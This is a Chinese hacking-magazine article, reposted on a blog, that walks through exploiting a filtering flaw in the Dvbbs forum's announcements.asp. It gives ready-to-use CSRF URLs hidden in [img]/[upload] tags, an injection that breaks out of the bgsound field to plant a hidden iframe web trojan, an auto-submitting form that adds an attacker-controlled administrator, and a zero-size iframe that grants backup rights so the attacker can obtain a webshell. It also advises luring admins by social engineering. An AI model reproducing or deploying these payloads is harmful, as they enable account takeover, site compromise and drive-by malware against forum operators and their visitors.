动网img标签所带来的危害

本文已发表于<黑客X档案>杂志第8期..转载请注明版权.
作者BLOG:http://www.ciker.org/

看了上期剑心写的[img]标签乐翻天一文.文中有提及在动网里直接加一个管理员.让我想起了去年12月份的时候动网的一个漏洞.本来打算写出来说明一下的.可一直没时间来整理..这次就当是补充剑心的把.

不知道大家是否知道这样一个漏洞.动网announcements.asp文件存在过滤不严漏洞.导致我们有机可乘.
首先我们以管理员身份登陆.发布公告并用WSockExpert抓包.得到数据如下(为了节省版面.我只选了关键部分)
POST /announcements.asp?action=SaveAnn HTTP/1.1
Referer: http://localhost/announcements.asp?boardid=0&action=AddAnn

username=admin&boardid=0&bgs=&title=dvbug test~~by fhod&content=+&submit=%b7%a2+%b2%bc

根据以上抓包的结果..我们完全可以构造出这样的URL.
http://localhost/announcements.asp?action=SaveAnn&username=admin&boardid=0&bgs=&title=dvbug test~~by fhod&content=1&submit=%b7%a2+%b2%bc

其中boardid=0是此公告发布在首页显示的.如果你想此公告只在某个版面显示.就要输入相应的版块ID号.bgs是背景音乐.我们下面会用到.title就是公告标题.content是公告内容.submit=%b7%a2+%b2%bc就是发布了.

如果我们直接在IE里打开
http://localhost/announcements.asp?action=SaveAnn&username=admin&boardid=0&bgs=&title=dvbug test~~by fhod&content=1&submit=%b7%a2+%b2%bc
就会返回"您已经成功的发布了公告".看来动网对此并未限制站外提交数据..

现在我们以普通注册用户身份登陆发贴..标题最好起一个诱惑的名字.比如"贵站有漏洞.管理员请进"
贴子内容就写入下面这段代码..当然你最好写些别的话以免引起管理员的怀疑.

除了以上img标签以外.我们还可以使用[upload=jpg]标签..两者的区别在于img显示时是一个红叉叉.而[upload=jpg]则会出现一个提示如图1

[upload=jpg]http://localhost/announcements.asp?action=SaveAnn&username=admin&boardid=0&bgs=&title=dvbug test~~by fhod&content=1&submit=%b7%a2+%b2%bc[/upload]

这时我们以普通用户身份点击的话会出现错误提示如图2…

我们换管理员帐号登陆..并打开此贴.会发现无任何提示..但是我们到主页看一下.会发现公告已经被更改了..如图3

好了..具体的漏洞以介绍完了..但是我们该怎么利用这个缺陷呢..

打开announcements.asp文件找到
第107行和107行代码
If Request("action")="showone" Then
Tempwrite=Replace(Tempwrite,"{$bgs}","<img src=Skins/Default/filetype/mid.gif border=0><bgsound src="&Sql(4,i)&" border=0>")
以上一段代码是发布公告时填背景音乐的.如果我们的音乐地址为http://localhost/1.mid 那么<bgsound src="&Sql(4,i)&" border=0>")就为<bgsound src=http://localhost/1.mid border=0>

接着在来看
第176行代码
bgs=Dv_FilterJS(request("bgs"))
从代码可以看出.动网在对背景音乐的输入是没有任何过滤的 <bgsound src=是完全可以闭合来达到挂马的目的的..我们在背景音乐那里输入

><iframe src=http://localhost width=80 height=80></iframe><bgsound src= (我这里输入width=80 height=80是为了更好的看到效果.大家在实际挂马时要设置为0才可以)

然后看首页公告有什么变化没有.. 如图4

成功了..然后我们看此公告的源文件发现前后都已经闭合..
<bgsound src=><iframe src=http://localhost width=80 height=80></iframe><bgsound src= border=0>

以上测试是以管理员身份直接发公告来的..现在以普通用户发一贴..

我们最好把以上这段代码加密..图5

然后发表新贴..以后只要管理员浏览了我们的贴子就会在论坛主页发布公告并挂上了我们的网页木马了..

在[img]标签乐翻天一文中.剑心说动网后台是request.form("username2")直接加管理员是没办法的..那好..现在就利用动网的此缺陷来达到加管理的目的..(以下所做的一切均为管理员登陆后台的情况下..否则会不成功.具体怎么样让管理员登陆后台就看你的社会工程学怎么样了.)

<form action="http://localhost/admin_admin.asp?action=sav ... ethod=post name=h>
<input type=text name=username2 value=fhod>
<input type=password name=password2 value=123456>
<input type=text name=username1 value=fhod>
<script language=JavaScript>
document.h.submit();
</script>

把以上代码中的localhost换为目标网站地址.fhod替换为你想要加管理的用户名..密码123456改为你自己的..保存为1.htm..上传到自己的空间里.假设我的是
http://localhost/1.htm
然后我们发贴..引诱管理员进入

只要管理员浏览了我们的贴子.然后返回到首页.就回把fhod提升为管理员权限.并在后台加一用户名为fhod密码为123456的管理员图6

然后我们以fhod登陆查看我们刚才发的贴.发现已经是管理员身份了.图7

而此时的后台管理fhod是无任何权限的..我们进后台无非就是利用备份数据库来拿webshell
我以管理员身份赋予fhod权限时抓包构造的URL如下

http://localhost/admin_admin.asp?action=updat&flag=31&flag=32&id=19&Submit=%B8%FC%D0%C2

flag31和32分别对应的是31.备份数据库 32.恢复数据库 而id=19对应的就是fhod这个管理员的ID.

知道了这些我们就可以做一个2.htm代码如下..按照以上的方法发贴.
<iframe src=http://localhost/admin_admin.asp?action=updat&flag=31&flag=32&id=19&Submit=%B8%FC%D0%C2 width=0 height=0></iframe>

只要管理员访问了就会为fhod赋予备份数据库的权限如图8

本文内容并未包含多高深的技术..只是对动网的一个缺陷做一总结..可见.img带来的危害并不仅仅如此..有时候我们想不到的并不一定做不到.只要我们敢想敢做.没有什么做不到的.

特别感谢:nowthk..此漏洞还是他告诉我的…一直打算写的..直到现在才完成…再次证明我这人比较懒^_^

相关日志

抢楼还有机会... 抢座Rss 2.0或者 Trackback

发表评论